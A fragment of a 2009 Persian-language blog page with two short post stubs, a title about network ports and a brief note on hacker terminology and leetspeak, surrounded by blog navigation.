Port Num Service Why it is phun!
|
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:20 قبل از ظهر به دست ابی |
|
|
ترمينولوژی (اصطلاحشناسی)
- Hacker کيست ؟ 0 <= O
}{3 $|>34|< zتوصيه من اينه که از اين معادلها تا جايی که میتونيد استفاده نکنيد. فقط ياد بگيريد که کم نياريد. |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:17 قبل از ظهر به دست ابی |
|
|
برگ نخست نامه نگاری بایگانی |
| درباره تارنما |
خوش آمدید
|
| پیوندهای روزانه |
|
برگردان نام به نوشتار ميخي بایگانی پیوندهای روزانه |
| نوشته های پیشین |
|
هفته اوّل مهر 1388 |
|
RSS
|